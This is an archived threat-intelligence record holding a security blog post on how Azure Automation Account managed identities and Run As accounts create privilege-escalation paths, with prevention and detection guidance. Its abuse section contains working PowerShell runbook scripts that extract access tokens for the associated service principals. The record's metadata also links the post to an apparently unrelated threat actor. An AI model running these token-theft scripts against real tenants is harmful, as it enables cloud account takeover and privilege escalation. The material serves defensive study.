{
	"id": "0bdb582a-cbec-4518-9113-e16249a85348",
	"created_at": "2026-04-06T00:14:12.163087Z",
	"updated_at": "2026-04-10T13:11:41.99456Z",
	"deleted_at": null,
	"sha1_hash": "0a245c7d62efade680a8a9b5120366458809a6bd",
	"title": "Managed Identity Attack Paths, Part 1: Automation Accounts",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5147424,
	"plain_text": "Managed Identity Attack Paths, Part 1: Automation Accounts\r\nBy Andy Robbins\r\nPublished: 2022-06-06 · Archived: 2026-04-05 17:13:03 UTC\r\nIntro and Prior Work\r\nIn this three part blog series we will explore attack paths that emerge out of Managed Identity assignments in three\r\nAzure services: Automation Accounts, Logic Apps, and Function Apps. But first, what exactly are Managed\r\nIdentities?\r\nI think it’s best to think about Managed Identities in the context of the problem they have (in my opinion, very\r\neffectively) solved: accidental credential exposure. Before Managed Identities, admins needed to either store or\r\nretrieve credentials in their scripts to enable the script to authenticate to other services. This is very dangerous, as\r\nit often leads to accidental exposure of those credentials when the script itself can be read by unauthorized people.\r\nSometimes that means the admin accidentally uploaded the script to GitHub or Pastebin. Oops.\r\nManaged Identity assignments are an extremely effective security control that prevent the accidental exposure of\r\ncredentials by removing this requirement to store or use credentials in the first place. Instead of storing and\r\nsending credentials, Azure knows that your script is allowed to authenticate as a specific Service Principal.\r\nYou should absolutely be using Managed Identity assignments in Azure instead of storing or accessing\r\ncredentials.\r\nBut Managed Identities introduce a new problem: they can quickly create identity-based attack paths in Azure that\r\nmay lead to escalation of privilege opportunities. In this series we will explore how those attack paths emerge,\r\nhow they can be practically abused by an attacker, and how we as defenders can discover, mitigate, and prevent\r\nthe future emergence of those attack paths.\r\nLet’s start this series off by looking at Automation Accounts.\r\nAbusing Automation Accounts is nothing new. You should check out the following prior work in this area:\r\nKarl Fosaaen discussed abusing Automation Accounts for sneaky Azure persistence here in September\r\nof 2019\r\nLina Lau shared great defensive guidance on detecting persistence set up in Automation Accounts in\r\nDecember 2021\r\nThe AZSec blog talked about abusing automation accounts for lateral movement here in November 2021\r\nWhat are Automation Accounts?\r\nAutomation Accounts are one of several services falling under the umbrella of “Azure Automation”. Azure admins\r\ncan use Automation Accounts to automate a variety of business operations, such as creating and configuring\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 1 of 15\n\nVirtual Machines in Azure. Automation Accounts offer different process automation services, but at the core of all\r\nthose services are what are called Runbooks.\r\nRunbooks can be configured to run either Python or PowerShell scripts. Those scripts then can be configured to\r\nrun on a manual basis, on a schedule, or after a POST is made to a web hook. When the runbook runs, this initiates\r\na “Job”. The job creates an ephemeral virtual machine, makes the script and any configured environment variables\r\navailable to the VM, runs the script in the VM, captures any output from the script, then destroys the VM — \r\nlogging each step along the way.\r\nHere, my runbook is very simply configured to run $PSVersionTable within a PowerShell runspace, and we can\r\nsee the output from that command while testing the runbook using the Azure GUI:\r\nAutomation Accounts and Service Principals\r\nAutomation Accounts are great for automating tasks. But what if that task requires some sort of privilege to\r\nperform? For example, if we want to use the example Start-AzureVM PowerShell script from Microsoft, then our\r\nAutomation Account runbook needs to have permission to start Azure Virtual Machines.\r\nEnter Managed Identities. As discussed in the introduction of this blog post, Managed Identities are a fantastic\r\nway to securely, automatically authenticate as a service principal without needing to store or retrieve credentials.\r\nTo enable a Managed Identity for an Automation Account couldn’t be easier. Just click “Identity” under “Account\r\nSettings” and toggle the “Status” option from “Off” to “On”, then click “Save”:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 2 of 15\n\nLet’s start thinking of these things in the form of a graph and how the various objects fit into a hierarchy. Our\r\nAutomation Account, “MyCoolAutomationAccount”, has a Managed Identity assignment to the service principal\r\nwhose object ID starts with “6e0ca…”:\r\nAs you can see, the Automation Account finds itself within the greater hierarchy of AzureRM and AzureAD. The\r\nService Principal associated with the Automation Account does not have any privileges by default. Let’s give this\r\nService Principal some privileges and try to stay without the bounds of least privilege by giving it “Contributor”\r\naccess on the resource group the Automation Account resides in. This would let the Service Principal create and\r\nmanage resources in this resource group:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 3 of 15\n\nAs configured, this setup doesn’t introduce any privilege escalation opportunities: if an attacker gains control of\r\neither the Service Principal or Automation Account, they’re just stuck in a loop. Let’s flesh this environment out a\r\nbit more by adding another subscription and some more descendent objects:\r\nLet’s also grant “My Second Very Cool Automation Account” an identity it can authenticate as. But this time\r\nwe’re going to use the legacy “Run As” account setup. When configuring a “Run As” account, you get this\r\nwarning in the Azure GUI:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 4 of 15\n\nAzure will create a Service Principal and grant it “Contributor” on the subscription the Automation Account\r\nresides in — this requires the calling user to have the privileges to do all these different actions. Now our setup\r\nlooks like this:\r\nAnd now have have created a privilege escalation opportunity — if an attacker gains control of “My Cool\r\nAutomation Account” or its associated Service Principal, they will be able to escalate up to Subscription\r\nContributor, gaining control of everything under that subscription:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 5 of 15\n\nLet’s wrap this up with one final configuration and a hint about our next blog post topic. We’re going to say that\r\none of the resources under this Subscription is a Logic App with a Managed Identity Assignment, where the\r\nassociated Service Principal has or can escalate up to Global Admin, taking control of the AzureAD tenant:\r\nOut of these discrete configurations emerges an attack path leading from the original Automation Account all the\r\nway to Global Admin:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 6 of 15\n\nAbusing Automation Account Managed Identity Assignments\r\nIf an attacker has sufficient privilege to create or edit an existing runbook, they can turn that into control of the\r\nService Principal, gaining whatever privileges the Service Principal holds. These Azure role assignments allow for\r\ncreating or editing an existing runbook:\r\nOwner\r\nContributor\r\nAutomation Contributor\r\nAdditionally, the following privilege allows one to grant themselves any of the above role assignments against the\r\nAutomation Account:\r\nUser Access Administrator\r\nThere are several ways to tackle this problem, but for me, the most straight-forward abuse is to extract a JSON\r\nWeb Token (JWT) for the Service Principal, then use that JWT to authenticate as the Service Principal outside the\r\nscope of the Automation Account. Using the Azure Portal GUI, we will modify an existing runbook to run this\r\nPowerShell script:\r\n$tokenAuthURI = $env:MSI_ENDPOINT + “?resource=https://graph.microsoft.com/\u0026api-version=2017-09-01\"\r\n$tokenResponse = Invoke-RestMethod -Method Get -Headers @{“Secret”=”$env:MSI_SECRET”} -Uri $tokenAuth\r\n$tokenResponse.access_token\r\nThen when the Runbook executes, the output will be a JWT for the Managed Identity Service Principal:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 7 of 15\n\nWe can then use this JWT to authenticate as the Service Principal to, in this example, the Microsoft Graph APIs.\r\nBut what if we want the JWT for a Service Principal where the Automation Account authenticates in a “Run As”\r\nscenario, using certificate authentication? Karl Fosaaen has a good example of how to do that in this blog post, but\r\nI prefer to not import or load any dependencies. We’ll borrow some code from Pablo Cibraro, where he shows\r\nhow to first use our certificate to create a JWT proving the identity of the Service Principal, then we’ll supply that\r\nJWT to the OAuth token acquisition endpoint, specifying MS Graph as our scope:\r\n$connectionName = “AzureRunAsConnection”\r\n$servicePrincipalConnection = Get-AutomationConnection -Name $connectionName\r\n$TenantId = $servicePrincipalConnection.TenantId\r\n$ClientId = $servicePrincipalConnection.ApplicationId\r\n$CertificateThumbprint = $servicePrincipalConnection.CertificateThumbprint\r\nfunction GenerateJWT (){\r\n $thumbprint = $CertificateThumbprint\r\n $cert = Get-Item Cert:CurrentUserMy$Thumbprint\r\n $hash = $cert.GetCertHash()\r\n $hashValue = [System.Convert]::ToBase64String($hash) -replace ‘+’,’-’ -replace ‘/’,’_’ -replace\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 8 of 15\n\n$exp = ([DateTimeOffset](Get-Date).AddHours(1).ToUniversalTime()).ToUnixTimeSeconds()\r\n $nbf = ([DateTimeOffset](Get-Date).ToUniversalTime()).ToUnixTimeSeconds()\r\n $jti = New-Guid\r\n [hashtable]$header = @{alg = “RS256”; typ = “JWT”; x5t=$hashValue}\r\n [hashtable]$payload = @{aud = “https://login.microsoftonline.com/$TenantId/oauth2/token\"; iss = “\r\n $headerjson = $header | ConvertTo-Json -Compress\r\n $payloadjson = $payload | ConvertTo-Json -Compress\r\n $headerjsonbase64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($headerjson)\r\n $payloadjsonbase64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payloadjson\r\n $toSign = [System.Text.Encoding]::UTF8.GetBytes($headerjsonbase64 + “.” + $payloadjsonbase64)\r\n $rsa = $cert.PrivateKey -as [System.Security.Cryptography.RSACryptoServiceProvider]\r\n $signature = [Convert]::ToBase64String($rsa.SignData($toSign,[Security.Cryptography.HashAlgorithm\r\n $token = “$headerjsonbase64.$payloadjsonbase64.$signature”\r\n return $token\r\n}\r\n$reqToken = GenerateJWT\r\n$Body = @{\r\n scope = “https://graph.microsoft.com/.default\"\r\n client_id = $ClientId\r\n client_assertion_type = “urn:ietf:params:oauth:client-assertion-type:jwt-bearer”\r\n client_assertion = $reqToken\r\n grant_type = “client_credentials” `\r\n}\r\n$MGToken = Invoke-RestMethod `\r\n -URI “https://login.microsoftonline.com/$($TenantId)/oauth2/v2.0/token\" `\r\n -Body $Body `\r\n -Method POST\r\n$MGToken.access_token\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 9 of 15\n\nAnd then we’ll edit our Automation Account to run this code, which outputs a JWT for the “Run As” service\r\nprincipal:\r\nAgain, an attacker can take that JWT and authenticate outside the context of the Authentication Account as the\r\nassociated Service Principal, gaining the privileges of that Service Principal.\r\nPrevention\r\nThere are several steps you should take, as a defender, to ensure these attack paths do not exist in your Azure\r\nenvironment:\r\nStep 1: Audit and Remove Privileges Held by Service Principals\r\nYour first step should be to find any service principals that have been granted the most dangerous privileges in\r\nAzure. Audit both the active and eligible assignments for the following AzureAD admin roles:\r\nGlobal Administrator\r\nPrivileged Role Administrator\r\nPrivileged Authentication Administrator\r\nYou should also audit for any Service Principals that have been granted any of the following MS Graph app roles:\r\nRoleManagement.ReadWrite.Directory\r\nAppRoleAssignment.ReadWrite.All\r\nIf any service principal has been granted any of the above roles in AzureAD or MS Graph, you should\r\nimmediately investigate that service principal for existing signs of misuse. You should also remove those role\r\nassignments from the service principals, if possible.\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 10 of 15\n\nStep 2: Audit Privileges Held by Other Principals\r\nUnfortunately you may not be able to easily or immediately remove privileges that have been granted to a service\r\nprincipal. Your next step then will be to limit the exposure of those highly privileged service principals by auditing\r\nthe users, groups, and service principals that have been granted any of the following AzureAD admin roles:\r\nApplication Administrator (including those scoped specifically to the Service Principal)\r\nCloud Application Administrator (including those scoped specifically to the Service Principal)\r\nDirectory Synchronization Accounts\r\nHybrid Identity Administrator\r\nPartner Tier1 Support\r\nPartner Tier2 Support\r\nYou should also audit the explicit owners of service principals you identified in Step 1 that you cannot easily or\r\nimmediately remove privileges from.\r\nYou should also audit other service principals that have been granted any of the following MS Graph app roles:\r\nApplication.ReadWrite.All\r\nServicePrincipalEndpoint.ReadWrite.All\r\nAny user, group, or service principal that has been granted any of the above AzureAD admin roles, explicit\r\nownership, or MS Graph app roles will be able to take over the service principals identified in Step 1. If possible,\r\nand if necessary, remove all of these privileges.\r\nStep 3: Audit Privileges Held Against the Automation Account\r\nUnfortunately, you may not be able to immediately or easily remove privileges held by service principals\r\nassociated with an Automation Account through either a Managed Identity assignment or Run As account\r\nrelationship. In that case, you can prevent the emergence of a privilege escalation opportunity by removing these\r\nAzure role assignments against the Automation Account where those principals have less privilege than the\r\nservice principal associated with the Automation Account:\r\nOwner\r\nContributor\r\nAutomation Contributor\r\nUser Access Administrator\r\nDetection\r\nAzure logs come in handy several different ways here:\r\nDetecting Automation Account Runbook Edits\r\nAn attacker may choose to edit an existing runbook, adding their own malicious code to perform some evil action.\r\nWhen this happens, the attacker will first create a draft for the existing runbook, and then may optionally publish\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 11 of 15\n\nthat draft.\r\nCreating a draft creates the “Write an Azure Automation runbook draft” log, and publishing the draft creates the\r\n“Publish an Azure Automation runbook draft” log.\r\nUnfortunately, while these logs tell you WHO made the change, these logs do not tell you WHAT has changed in\r\nthe runbook, so these may turn out to be a very high-noise, low-signal logs to alert on:\r\nDetecting New, Dangerous Privileges Granted to Service Principals\r\nOnce you’ve verified that no service principals have the most dangerous privileges in AzureAD, you will want to\r\nput alerting in place to warn you if someone grants a Service Principal one of those dangerous privileges. When a\r\nService Principal is granted an AzureAD admin role, the “Add member to role” log fires, telling you who granted\r\nwhat privilege to what principal:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 12 of 15\n\nYou should produce and triage an alert any time a service principal is granted one of the following most dangerous\r\nAzureAD admin roles:\r\nGlobal Administrator (aka “Company Administrator”)\r\nPrivileged Role Administrator\r\nPrivileged Authentication Administrator\r\nAdditionally, when a service principal is granted an MS Graph app role, the “Add app role assignment to service\r\nprincipal” log fires, telling you who gave what app role to what:\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 13 of 15\n\nYou should produce and triage alerts any time a service principal is granted one of the following app roles against\r\nthe MS Graph resource app:\r\nRoleManagement.ReadWrite.Directory\r\nAppRoleAssignment.ReadWrite.All\r\nConclusion\r\nIn Part 1 of this 3-part series we saw how attackers can abuse risky Automation Account Managed Identity and\r\nRun As account configurations. We also saw how you as a defender can identify and protect your organization\r\nagainst the emergence and exploitation of attack paths that abuse Automation Accounts.\r\nIn part 2 we will look at how attack paths emerge that include Logic Apps and Managed Identity assignments.\r\nReferences\r\nhttps://www.inversecos.com/2021/12/how-to-detect-malicious-azure.html\r\nhttps://www.netspi.com/blog/technical/cloud-penetration-testing/azure-privilege-escalation-using-managed-identities/\r\nhttps://docs.microsoft.com/en-us/azure/automation/automation-services\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 14 of 15\n\nManaged Identity Attack Paths, Part 1: Automation Accounts was originally published in Posts By SpecterOps\r\nTeam Members on Medium, where people are continuing the conversation by highlighting and responding to this\r\nstory.\r\nPost Views: 1,239\r\nSource: https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nhttps://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
	],
	"report_names": [
		"managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434452,
	"ts_updated_at": 1775826701,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0a245c7d62efade680a8a9b5120366458809a6bd.pdf",
		"text": "https://archive.orkl.eu/0a245c7d62efade680a8a9b5120366458809a6bd.txt",
		"img": "https://archive.orkl.eu/0a245c7d62efade680a8a9b5120366458809a6bd.jpg"
	}
}